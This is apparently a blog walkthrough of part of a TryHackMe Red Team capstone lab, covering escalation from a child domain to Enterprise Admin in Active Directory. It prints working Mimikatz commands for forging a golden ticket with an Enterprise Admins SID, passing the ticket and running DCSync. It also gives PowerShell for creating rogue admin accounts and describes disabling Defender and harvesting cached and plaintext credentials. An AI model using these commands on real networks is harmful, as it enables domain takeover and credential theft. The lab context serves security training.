TryHackMe Red Team Capstone Walkthrough Part III: Enterprise Admin

6 min readSep 8, 2025

TL;DR walkthrough of the Red Team capstone network on TryHackMe. This is Part III: Escalation to Enterprise Admin.

THM Walkthroughs:

A full list of our TryHackMe walkthroughs and cheatsheets is here.

Our Red Team Capstone Walkthrough Series

There are four parts to this walkthrough of the Red Team Capstone due to the sheer size of the network:

I will add a link to the last part once I post it. Currently it only exists in raw notes and screenshots.

Background

We left off Part II: Escalation to Domain Admin with our two compromised accounts, mohammad.ahmed & svcscanning, added to the Domain Admins group. We also dumped all the hashes in corp.thereserve.loc to a text file named AllCorpHashes.txt. This dump will come in quite handy shorlty.

However we need to escalate to Enterprise Admin in the parent domain and then enumerate and move laterally through the other child domain until we can access the SWIFT banking application.

Let’s get to it.

Enumeration

There are a few key pieces of information one needs to forge a ticket and abuse the trust relationship between corp.thereserve.loc and thereserve.loc:

The SID of each domain
The well known SID of the group we are impersonating
The FQDN of our domain
The krbtgt NTLM of our domain (CORP)

The first three things can be queried by any Domain User by default. The last piece of information though can only be obtained by those who have rights to DCSync, manage to compromise NT AUTHORITY\SYSTEM on a DC, or find a backup of AD that was left lying around [or have the rights to create a backup, for example the Backup Operators builtin group].

We already dumped the CORP domain hashes, so simply Ctrl + F for krbtgt in that file and we know the NTLM.

The ‘Active Directory Domains and Trusts’ tool is quite handy for easily finding the parent domain. I simply pinged the parent’s FQDN to get the DC’s IP.

I then queried the SIDs via

#Find the parent domain's SID
Get-ADDomain -Server 10.200.89.100

#Find CORP domain's SID
(Get-ADDomain).DomainSID

We now have all the information we need.

Child's krbtgt = 0c757a3445acb94a654554f3ac529ede
Child domain SID = S-1–5–21–170228521–1485475711–3199862024
Child domain name = corp.thereserve.loc
Child domain DC = CORPDC.corp.thereserve.loc
Child domain DC IP = 10.200.89.102

Parent domain SID = S-1–5–21–1255581842–1300659601–3764024703
Parent domain name is thereserve.loc
Parent domain DC = ROOTDC.thereserver.loc
Parent domain DC IP is 10.200.89.100
Enterprise Admins group SID = 519

Escalation

I got lazy and simply ran this attack from CORPDC.

xfreerdp /u:mohammad.ahmed /p:'Password1!' +clipboard /dynamic-resolution /cert:ignore /v:10.200.89.21 /drive:share,/home/kali/Downloads/RedTeam

I RDPed from .21 to the DC, turned off Defender, copy/pasted Invoke-Mimi.ps1 to the DC, and forged the ticket.

Remember that SID is the child domain [corp.thereserve.loc] and SIDS is the parent domain [thereserve.loc]. We are putting -519 on the end of the parent domain SID as we are claiming to have Enterprise Admin rights.

. .\Invoke-Mimi.ps1
Invoke-Mimi -Command '"kerberos::golden /user:Administrator /domain:corp.thereserve.loc /sid:S-1–5–21–170228521–1485475711–3199862024 /sids:S-1–5–21–1255581842–1300659601–3764024703–519 /krbtgt:0c757a3445acb94a654554f3ac529ede /ticket:C:\Users\mohammad.ahmed\Documents\krbtgt_tkt.kirbi"'
Invoke-Mimi -Command '"kerberos::ptt C:\Users\mohammad.ahmed\Documents\krbtgt_tkt.kirbi"'

I had bad syntax for adding a user in the child domain to Enterprise Admins. I’ll have to fix that later. At the time I was being lazy though, so I just created a new user in thereserve.loc and made them an Enterprise Admin.

New-ADUser -Server ROOTDC.thereserve.loc -Name "Mishky" -AccountPassword(ConvertTo-SecureString -AsPlainText 'Password00!!' -Force) -Enabled $true
Add-ADGroupMember -Server ROOTDC.thereserve.loc -Identity "Enterprise Admins" -Members "Mishky"

I then ran a PowerShell window as thereserve.loc\Mishky and immediately dumped the parent domain hashes to AllRootHashes.txt just in case the network reset before I finished. I also just like dumping hashes, I swear I get a little high from it, something like ‘The Runners High’ you get after a good time on a 5K.

Invoke-Mimi -CmpNm ROOTDC.thereserve.loc -Command '"token::elevate" "privilege::debug" "lsadump::dcsync /dc:ROOTDC /domain:thereserve.loc /all"' | Out-File .\AllRootHashes.txt

I’m including the full, uncropped screenshot so everyone can see how to access the ROOTDC via RDP from .21, which was itself accessed via xfreerdp on Kali.

Enumerating the forest

This is pretty darn easy now that we are an Enterprise Admin on the parent DC. Just query the child domains by specifying their DC’s IP. I easily found those by using the ‘AD Domains & Trusts’ tool and pinging the domain’s FQDN.

Get-ADComputer -Server 10.200.89.101 -Filter * -Properties * | Select-Object CN, IPv4Address

Finding & accessing the SWIFT application

Ah, but the SWIFT banking application’s server isn’t in AD. However did I find it?

Excellent question. I used the ‘DNS Manager’ tool and changed servers to BANKDC.bank.thereserve.loc.

I then poked around JMP.bank.thereserve.loc using the Domain Admin I had created for myself in the BANK domain. The room’s author setup bank.thereserve.loc so that most of the VMs in the domain didn’t want to allow me to connect directly from my foothold on .21 and connecting to them as my Enterprise Admin was a bit hit and miss. Therefore I simply created bank\Mishka and put her in bank\Domain Admins

I enumerated the members of the AD groups Capturers and Approvers so I knew what usernames to look for while I was poking around the bank domain. I stumbled on a.holt’s profile, found his Chrome cached passwords … and completely failed at decrypting them. The “free” tool I tried out was easy to use, but turned out to be nothing but an advertisement for the paid version.

Bro, I got so excited when I saw this … then realized the free version refuses to show the actual password. WTF …

I finally just said “screw it, I’m abusing my Domain Admin to reset a.holt’s password and then running Chrome on JMP as them”.

I copy/pasted the password and hit Win + R -> Ctrl + V. It’s a quick & dirty way to see the whole thing.

I found a Capturer’s password in plaintext on a *.txt file on WORK1. Users will be users after all, I give the room’s author credit for accurately showing what they tend to do. Just ask Varonis. They created a really nifty tool that will crawl your share drives and logs and then report on

Information that shouldn’t be there in plaintext
The path & file containing said info
Who created the file, accessed it, etc

We used their free demo in one our smaller, less used enclaves at work and OMG, users are users.

We now have SWIFT creds as a Capturer:

g.watson \ Corrected1996

We also have SWIFT creds as an Approver:

a.holt \ willnotguessthis1@

I ran side by side Chrome windows, one logged in as g.watson and the other as a.holt.

Summary

We have access to SWIFT and the credentials required to approve a transaction all the way through. I still hadn’t submitted any flags though, so I was missing a few key pieces of information to create a transaction, let alone the fraudulent one we’re supposed to. After beating my head against the proverbial wall for awhile I realized this.

Flag submission in this room was a bit complicated, so I am making a Part IV for it.

References

Well known SIDS in AD: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-identifiers

Backup Operators: https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups

TryHackMe Red Team Capstone Walkthrough Part III: Enterprise Admin

Written by Rich

No responses yet